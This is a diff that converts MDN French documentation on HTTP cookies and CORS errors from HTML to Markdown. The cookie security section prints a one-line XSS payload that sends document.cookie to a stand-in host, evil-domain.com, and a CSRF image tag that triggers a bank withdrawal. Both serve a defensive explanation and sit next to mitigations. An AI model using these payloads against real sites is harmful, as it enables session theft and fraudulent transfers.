+## Création de cookies -<h3 id="Les_entêtes_Set-Cookie_et_Cookie">Les entêtes <code>Set-Cookie</code> et <code>Cookie</code></h3> +Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé. -<p>L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci:</p> +### Les entêtes `Set-Cookie` et `Cookie` -<pre class="syntaxbox">Set-Cookie: <nom-du-cookie>=<valeur-du-cookie></pre> +L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci: -<div class="note"> - <p><strong>Note :</strong> Voici comme utiliser l'en-tête <code>Set-Cookie</code> dans divers langages de programmation côté serveur : - <ul> - <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> - <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> - <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> - <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> - </ul> - </p> -</div> + Set-Cookie: <nom-du-cookie>=<valeur-du-cookie> -<p>Exemple de réponse HTTP complète:</p> +> **Note :** Voici comme utiliser l'en-tête `Set-Cookie` dans divers langages de programmation côté serveur : +> +> - [PHP](https://secure.php.net/manual/en/function.setcookie.php) +> - [Node.JS](https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value) +> - [Python](https://docs.python.org/3/library/http.cookies.html) +> - [Ruby on Rails](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) -<pre>HTTP/1.0 200 OK -Content-type: text/html -Set-Cookie: yummy_cookie=choco -Set-Cookie: tasty_cookie=strawberry +Exemple de réponse HTTP complète: -[contenu de la page]</pre> + HTTP/1.0 200 OK + Content-type: text/html + Set-Cookie: yummy_cookie=choco + Set-Cookie: tasty_cookie=strawberry -<p>Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête {{HTTPHeader("Cookie")}}:</p> + [contenu de la page] -<pre>GET /sample_page.html HTTP/1.1 -Host: www.example.org -Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre> +Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête {{HTTPHeader("Cookie")}}: -<h3 id="Cookies_de_session">Cookies de session</h3> + GET /sample_page.html HTTP/1.1 + Host: www.example.org + Cookie: yummy_cookie=choco; tasty_cookie=strawberry -<p>Le cookie créé ci-dessus est un <em>cookie de session </em>: il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive <code>Expires</code> ou <code>Max-Age</code>. Notons cependant que les navigateurs web peuvent utiliser la <strong>restauration de session</strong>, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé.</p> +### Cookies de session -<h3 id="Cookies_permanents">Cookies permanents</h3> +Le cookie créé ci-dessus est un *cookie de session* : il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive `Expires` ou `Max-Age`. Notons cependant que les navigateurs web peuvent utiliser la **restauration de session**, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé. -<p>Plutôt que d'expirer quand le client ferme, <em>les cookies permanents</em> expirent à une date spécifique (<code>Expires</code>) ou après un certain temps (<code>Max-Age</code>).</p> +### Cookies permanents -<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> +Plutôt que d'expirer quand le client ferme, _les cookies permanents_ expirent à une date spécifique (`Expires`) ou après un certain temps (`Max-Age`). -<div class="note"> -<p><strong>Note :</strong> Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur.</p> -</div> + Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; -<h3 id="Cookies_Secure_et_HttpOnly">Cookies <code>Secure</code> et <code>HttpOnly</code></h3> +> **Note :** Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur. -<p>Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes chiffrées, via le protocole HTTPS. Même avec <code>Secure</code>, les informations sensibles ne devraient <em>jamais</em> être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (<code>http:</code>) ne peuvent pas définir de cookies avec la directive <code>Secure</code>.</p> +### Cookies `Secure` et `HttpOnly` -<p>Pour empêcher les attaques de cross-site scripting ({{Glossary("Cross-site_scripting","XSS")}}), on peut utiliser les cookies <code>HttpOnly</code>, qui sont inaccessibles à l'API JavaScript {{domxref("Document.cookie")}}; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option <code>HttpOnly</code> doit être définie.</p> +Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes chiffrées, via le protocole HTTPS. Même avec `Secure`, les informations sensibles ne devraient _jamais_ être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (`http:`) ne peuvent pas définir de cookies avec la directive `Secure`. -<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> +Pour empêcher les attaques de cross-site scripting ({{Glossary("Cross-site_scripting","XSS")}}), on peut utiliser les cookies `HttpOnly`, qui sont inaccessibles à l'API JavaScript {{domxref("Document.cookie")}}; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option `HttpOnly` doit être définie. -<h3 id="Portée_des_cookies">Portée des cookies</h3> + Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly -<p>Les directives <code>Domain</code> et <code>Path</code> définissent la <em>portée</em> d'un cookie : sur quelles URLs les cookies doivent être envoyés.</p> +### Portée des cookies -<p><code>Domain</code> spécifie les hôtes autorisés à recevoir le cookie. S'il n'est pas spécifié, il s'agit par défaut de <a href="/fr/docs/Web/API/Document/location">l'hôte de l'emplacement actuel du document</a>, en <strong>excluant les sous-domaines</strong>. Si <code>Domain</code> est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si <code>Domain=mozilla.org</code> est défini, alors les cookies sont envoyés sur les sous-domaines comme <code>developer.mozilla.org</code>.</p> +Les directives `Domain` et `Path` définissent la _portée_ d'un cookie : sur quelles URLs les cookies doivent être envoyés. -<p><code>Path</code> indique pour quels chemins d'URL on doit envoyer l'entête <code>Cookie</code>. Le caractère %x2F ("/") est considéré comme un séparateur de répertoire, et les sous-répertoires seront également acceptés. Par exemple, si <code>Path=/docs</code> est défini, ces chemins seront acceptés :</p> +`Domain` spécifie les hôtes autorisés à recevoir le cookie. S'il n'est pas spécifié, il s'agit par défaut de [l'hôte de l'emplacement actuel du document](/fr/docs/Web/API/Document/location), en **excluant les sous-domaines**. Si `Domain` est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si `Domain=mozilla.org` est défini, alors les cookies sont envoyés sur les sous-domaines comme `developer.mozilla.org`. -<ul> - <li><code>/docs</code></li> - <li><code>/docs/Web/</code></li> - <li><code>/docs/Web/HTTP</code></li> -</ul> +`Path` indique pour quels chemins d'URL on doit envoyer l'entête `Cookie`. Le caractère %x2F ("/") est considéré comme un séparateur de répertoire, et les sous-répertoires seront également acceptés. Par exemple, si `Path=/docs` est défini, ces chemins seront acceptés : -<h3 id="Cookies_SameSite_experimental_inline">Cookies <code>SameSite</code> {{experimental_inline}}</h3> +- `/docs` +- `/docs/Web/` +- `/docs/Web/HTTP` -<p>Les cookies <code>SameSite</code> laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery ({{Glossary("CSRF")}}). Les cookies <code>SameSite</code> sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs.</p> +### Cookies `SameSite` {{experimental_inline}} -<h3 id="Accès_JavaScript_en_utilisant_Document.cookie">Accès JavaScript en utilisant <code>Document.cookie</code></h3> +Les cookies `SameSite` laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery ({{Glossary("CSRF")}}). Les cookies `SameSite` sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs. -<p>De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété {{domxref("Document.cookie")}}, et si l'option <code>HttpOnly</code> n'est pas définie, les cookies existants peuvent être également accédés via JavaScript.</p> +### Accès JavaScript en utilisant `Document.cookie` -<pre class="brush: js">document.cookie = "yummy_cookie=choco"; +De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété {{domxref("Document.cookie")}}, et si l'option `HttpOnly` n'est pas définie, les cookies existants peuvent être également accédés via JavaScript. + +```js +document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); -// affiche "yummy_cookie=choco; tasty_cookie=strawberry"</pre> - -<p>Prenez garde aux problèmes de sécurité, décrits dans la section {{ anch("Sécurité") }} ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS.</p> +// affiche "yummy_cookie=choco; tasty_cookie=strawberry" +``` -<h2 id="Sécurité">Sécurité</h2> +Prenez garde aux problèmes de sécurité, décrits dans la section {{ anch("Sécurité") }} ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS. -<div class="note"> -<p><strong>Note :</strong> Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé.</p> -</div> +## Sécurité -<h3 id="Piratage_de_session_et_XSS">Piratage de session et XSS</h3> +> **Note :** Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé. -<p>Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités {{Glossary("Cross-site_scripting","XSS")}} de l'application.</p> +### Piratage de session et XSS -<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> +Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités {{Glossary("Cross-site_scripting","XSS")}} de l'application. -<p>L'attribut <code>HttpOnly</code> du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript.</p> +```js +(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +``` -<h3 id="Cross-Site_Request_Forgery_CSRF">Cross-Site Request Forgery (CSRF)</h3> +L'attribut `HttpOnly` du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript. -<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> mentionne un autre bon exemple d'attaque {{Glossary("CSRF")}}. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent:</p> +### Cross-Site Request Forgery (CSRF) -<pre class="brush: html"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> +[Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery) mentionne un autre bon exemple d'attaque {{Glossary("CSRF")}}. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent: -<p>Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques:</p> +```html +<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> +``` -<ul> - <li>Comme pour {{Glossary("Cross-site_scripting","XSS")}}, filtrer les données en entrée est important.</li> - <li>Il devrait toujours y avoir une confirmation requise pour toute action sensible.</li> - <li>Les cookies utilisés pour les actions sensibles ne doivent avoir qu'une durée de vie limitée.</li> - <li>Pour plus de conseils de prévention, voir <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li> -</ul> +Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques: -<h2 id="Suivi_et_confidentialité">Suivi et confidentialité</h2> +- Comme pour {{Glossary("Cross-site_scripting","XSS")}}, filtrer les données en entrée est important. +- Il devrait toujours y avoir une confirmation requise pour toute action sensible. +- Les cookies utilisés pour les actions sensibles ne doivent avoir qu'une durée de vie limitée. +- Pour plus de conseils de prévention, voir [OWASP CSRF prevention cheat sheet](<https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet>). -<h3 id="Cookies_tiers">Cookies tiers</h3> +## Suivi et confidentialité -<p>Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (<em>first-party cookie</em>). Si le domaine est différent, on parle de cookie tiers (<em>third-party cookie</em>).</p> +### Cookies tiers -<p>Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les <a href="https://www.google.com/policies/technologies/types/">types de cookies utilisés par Google</a>. La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger17/">Privacy Badger</a> par <a href="https://www.eff.org/">EFF</a>).</p> +Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (_first-party cookie_). Si le domaine est différent, on parle de cookie tiers (_third-party cookie_). -<p>Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvrent. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a> de Wikipedia.</p> +Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les [types de cookies utilisés par Google](https://www.google.com/policies/technologies/types/). La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, [Privacy Badger](https://addons.mozilla.org/en-US/firefox/addon/privacy-badger17/) par [EFF](https://www.eff.org/)). -<ul> -</ul> +Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvrent. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article [cookie statement](https://wikimediafoundation.org/wiki/Cookie_statement) de Wikipedia. -<h3 id="Do-Not-Track">Do-Not-Track</h3> +### Do-Not-Track -<p>Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête {{HTTPHeader("DNT")}} peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête {{HTTPHeader("DNT")}} pour plus d'informations.</p> +Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête {{HTTPHeader("DNT")}} peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête {{HTTPHeader("DNT")}} pour plus d'informations. -<h3 id="Directive_de_lUE_sur_les_cookies">Directive de l'UE sur les cookies</h3> +### Directive de l'UE sur les cookies -<p>Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre.</p> +Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la [Directive 2009/136/EC](http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136) du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre. -<p>Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies.</p> +Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies. -<p>Pour en savoir plus, voir <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">cette section Wikipedia</a> et consultez les lois de l'état pour avoir des informations plus récentes et plus précises.</p> +Pour en savoir plus, voir [cette section Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive) et consultez les lois de l'état pour avoir des informations plus récentes et plus précises. -<h3 id="Cookies_Zombie_et_Evercookies">Cookies Zombie et Evercookies</h3> +### Cookies Zombie et Evercookies -<p>Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'<a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">API Web storage</a>, les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée.</p> +Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'[API Web storage](/en-US/docs/Web/API/Web_Storage_API "DOM Storage"), les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée. -<ul> - <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> - <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies sur Wikipedia</a></li> -</ul> +- [Evercookie by Samy Kamkar](https://github.com/samyk/evercookie) +- [Zombie cookies sur Wikipedia](https://en.wikipedia.org/wiki/Zombie_cookie) -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Set-Cookie")}}</li> - <li>{{HTTPHeader("Cookie")}}</li> - <li>{{domxref("Document.cookie")}}</li> - <li>{{domxref("Navigator.cookieEnabled")}}</li> - <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> - <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li> - <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li> - <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li> - <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li> -</ul> +- {{HTTPHeader("Set-Cookie")}} +- {{HTTPHeader("Cookie")}} +- {{domxref("Document.cookie")}} +- {{domxref("Navigator.cookieEnabled")}} +- [Inspecting cookies using the Storage Inspector](/en-US/docs/Tools/Storage_Inspector) +- [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265) +- [Nicholas Zakas article on cookies](https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/) +- [Nicholas Zakas article on cookies and security](https://www.nczonline.net/blog/2009/05/12/cookies-and-security/) +- [HTTP cookie on Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie) diff --git a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md index e113a3438b..37bf96589a 100644 --- a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md +++ b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md @@ -12,32 +12,30 @@ tags: translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<h2 id="Symptomes">Symptomes</h2> +## Symptomes -<pre class="syntaxbox">Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz »</pre> + Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz » -<h2 id="Quel_est_le_problème">Quel est le problème ?</h2> +## Quel est le problème ? -<p>En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}.</p> +En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}. -<p>Cette erreur peut également se produire si la réponse contient plus d'un en-tête <code>Access-Control-Allow-Origin</code>.</p> +Cette erreur peut également se produire si la réponse contient plus d'un en-tête `Access-Control-Allow-Origin`. -<p>Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête <code>Access-Control-Allow-Origin</code>, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile.</p> +Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête `Access-Control-Allow-Origin`, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile. -<p>Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée <code><Directory></code>, <code><Location></code>, <code><Files></code>, ou <code><VirtualHost></code>). La configuration se trouve généralement dans un fichier <code>.conf</code> (<code>httpd.conf</code> et <code>apache.conf</code> sont des noms couramment attribués à ces fichiers), ou dans un fichier <code>.htaccess</code>.</p> +Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée `<Directory>`, `<Location>`, `<Files>`, ou `<VirtualHost>`). La configuration se trouve généralement dans un fichier `.conf` (`httpd.conf` et `apache.conf` sont des noms couramment attribués à ces fichiers), ou dans un fichier `.htaccess`. -<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> + Header set Access-Control-Allow-Origin 'origin-list' -<p>Pour Nginx, la commande pour mettre en place cet entête est :</p> +Pour Nginx, la commande pour mettre en place cet entête est : -<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> + add_header 'Access-Control-Allow-Origin' 'origin-list' -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="https://developer.mozilla.org/fr/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li> - <li>Glossaire : {{Glossary("CORS")}}</li> - <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li> -</ul> +- [Erreurs CORS](https://developer.mozilla.org/fr/docs/Web/HTTP/CORS/Errors) +- Glossaire : {{Glossary("CORS")}} +- [Introduction au CORS](/fr/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md index 1745ec854f..2e32ab6224 100644 --- a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md +++ b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md @@ -16,20 +16,18 @@ tags: translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed original_slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<h2 id="Raison">Raison</h2> +## Raison -<pre class="syntaxbox">Raison: la requête CORS a échoué</pre> + Raison: la requête CORS a échoué -<h2 id="Qu'est_ce_qui_ne_s'est_pas_bien_passé">Qu'est ce qui ne s'est pas bien passé ?</h2> +## Qu'est ce qui ne s'est pas bien passé ? -<p>La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base.</p> +La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li> - <li>Grammaire: {{Glossary("CORS")}}</li> - <li><a href="/en-US/docs/Web/HTTP/CORS">Introduction CORS</a></li> -</ul> +- [Erreurs CORS](/en-US/docs/Web/HTTP/CORS/Errors) +- Grammaire: {{Glossary("CORS")}} +- [Introduction CORS](/en-US/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsdisabled/index.md b/files/fr/web/http/cors/errors/corsdisabled/index.md index f635378215..cdd6928b0f 100644 --- a/files/fr/web/http/cors/errors/corsdisabled/index.md +++ b/files/fr/web/http/cors/errors/corsdisabled/index.md @@ -22,23 +22,23 @@ tags: translation_of: Web/HTTP/CORS/Errors/CORSDisabled original_slug: Web/HTTP/CORS/Errors/CORSDesactive --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<h2 id="reason">Raison</h2> +## Raison -<pre class="brush: html">Reason: CORS disabled -(Raison : CORS désactivé)</pre> +```html +Reason: CORS disabled +(Raison : CORS désactivé) +``` -<h2 id="what_went_wrong">Quel est le problème ?</h2> +## Quel est le problème ? -<p>Une requête HTTP nécessitant le <a href="/fr/docs/Glossary/CORS">CORS</a> a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur.</p> +Une requête HTTP nécessitant le [CORS](/fr/docs/Glossary/CORS) a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur. -<p>Pour Firefox, la préférence qui désactive le CORS est <code>content.cors.disable</code>. Définir cette préférence avec <code>true</code> désactive le CORS. Dans ce cas, les requêtes CORS échoueront toujours avec cette erreur.</p> +Pour Firefox, la préférence qui désactive le CORS est `content.cors.disable`. Définir cette préférence avec `true` désactive le CORS. Dans ce cas, les requêtes CORS échoueront toujours avec cette erreur. -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/CORS/Errors">Les erreurs CORS</a></li> - <li>Le terme <a href="/fr/docs/Glossary/CORS">CORS</a> sur le glossaire</li> - <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li> -</ul> +- [Les erreurs CORS](/fr/docs/Web/HTTP/CORS/Errors) +- Le terme [CORS](/fr/docs/Glossary/CORS) sur le glossaire +- [Introduction au CORS](/fr/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md index e49b01ae2a..6896531f36 100644 --- a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md +++ b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md @@ -4,46 +4,40 @@ slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<h2 id="Symptomes">Symptomes</h2> +## Symptomes -<pre class="syntaxbox"> Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant. </pre> + Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant. -<h2 